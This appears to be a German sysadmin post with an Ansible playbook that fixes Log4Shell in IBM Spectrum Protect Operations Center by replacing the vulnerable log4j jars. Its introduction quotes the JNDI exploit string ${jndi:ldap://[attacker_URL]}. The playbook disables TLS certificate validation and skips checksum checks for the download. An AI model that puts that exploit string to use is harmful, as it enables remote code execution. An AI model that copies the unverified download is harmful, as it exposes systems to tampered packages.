Log4Jshell Ansible Fix for IBM Spectrum Protect Opscenter

Stichworte: CVE-2021-44228, CVE-2021-45046, CVE-2021-45105 , IBM Spectrum Protect Operations Center Version 8.1.0.000-8.1.13.000, 7.1.0.000-7.1.14.000

Log4Shell ist eine schwere kritische Sicherheitslücke, die viele Versionen der Apache Log4j Anwendung betrifft. Die Schwachstelle ermöglicht die unauthentifizierte Remotecodeausführung. Angreifer können sie ausnutzen, indem sie den User-Agent-String ihres Browsers im Format ${jndi:ldap://[attacker_URL]} ändern.

Auch das IBM Spectrum Protect Opscenter verwendet diese vulnerable Java Klassenbibliothek. Siehe auch IBM Security Bulletin.

Anker

Ansible Playbook zur Fehlerbehebung

Folgendes Ansible Playbook kann zur Fehlerbehebung angewendet werden.
Leider hat die Apache Org das Letsencrypt SSL Zertifikat noch nicht aktualisiert und auch die sha512sum nicht im üblichen Format abgelegt. Daher wird in dem Ansible Playbook nicht - wie grundsätzlich empfohlen - alle Ansible Builtin Module verwendet, sondern auf Shell Equivalente ausgewichen, und leider auch eine Zertifikatsvalidierung vermieden.

---

- hosts: tsm_servers
  environment:
    LANG: en_US.UTF8
    LC_ALL: en_US.UTF8
  become: yes
  gather_facts: no
  # parallelization
  serial: 12
  vars:
    LOG4J: 2.17.0
  pre_tasks:
    - setup:
        gather_subset: "!hardware,!network,!virtual"
      tags: always

  tasks:
  - name: Download file with checksum url (sha512)
    vars:
      dl_path: "https://downloads.apache.org/logging/log4j/{{LOG4J}}/apache-log4j-{{LOG4J}}-bin.tar.gz"
    get_url:
      url: "{{dl_path}}"
      dest: "/tmp/apache-log4j-{{LOG4J}}-bin.tar.gz"
      #checksum: "sha512:https://www.apache.org/dist/logging/log4j/{{LOG4J}}/apache-log4j-{{LOG4J}}-bin.tar.gz.sha512"
      validate_certs: false
    register: out

  - debug:
      var: out
      verbosity: 1

#  - name: uncompress
#    vars:
#      ua_files: "apache-log4j-{{LOG4J}}-bin/log4j-core-{{LOG4J}}.jar apache-log4j-{{LOG4J}}-bin/log4j-api-{{LOG4J}}.jar apache-log4j-{{LOG4J}}-bin/log4j-1.2-api-{{LOG4J}}.jar apache-log4j-{{LOG4J}}-bin/log4j-slf4j18-impl-{{LOG4J}}.jar"
#    unarchive:
#      src: "/tmp/apache-log4j-{{LOG4J}}-bin.tar.gz"
#      remote_src: true
#      dest: /tmp/
#      extra_opts:
#        - '--strip-components=1'
#        - "{{ua_files}}"
#    register: out

  - name: stop opscenter process
    systemd:
      name: "opscenter"
      state: stopped

  - name: remove vulnerable files
    shell: "rm -vf /opt/tivoli/tsm/ui/Liberty/usr/servers/guiServer/apps/TSM_HELP.war/WEB-INF/lib/{log4j-core-,log4j-api-,log4j-1.2-api-,log4j-slf4j18-impl-}*.jar"
    register: out

  - debug:
      var: out
      verbosity: 1

  - name: uncompress
    vars:
      ua_files: "apache-log4j-{{LOG4J}}-bin/log4j-core-{{LOG4J}}.jar apache-log4j-{{LOG4J}}-bin/log4j-api-{{LOG4J}}.jar apache-log4j-{{LOG4J}}-bin/log4j-1.2-api-{{LOG4J}}.jar apache-log4j-{{LOG4J}}-bin/log4j-slf4j18-impl-{{LOG4J}}.jar"
      sh_cmd: "tar xzf /tmp/apache-log4j-{{LOG4J}}-bin.tar.gz --strip-components=1 {{ua_files}}"
    shell: "{{sh_cmd}}"
    args:
      chdir: /opt/tivoli/tsm/ui/Liberty/usr/servers/guiServer/apps/TSM_HELP.war/WEB-INF/lib/
    register: out

  - name:
    debug:
      var: out
      verbosity: 1

  - name: start opscenter process
    systemd:
      name: "opscenter"
      state: started

Beispielaufruf/Anwendung

cd /ansible/
/usr/bin/ansible-playbook -i /ansible/inventories/ -i /ansible/inventories/hosts.ini /ansible/playbooks/log4j_fix.yml --vault-password-file ~/.ansible_vault_pw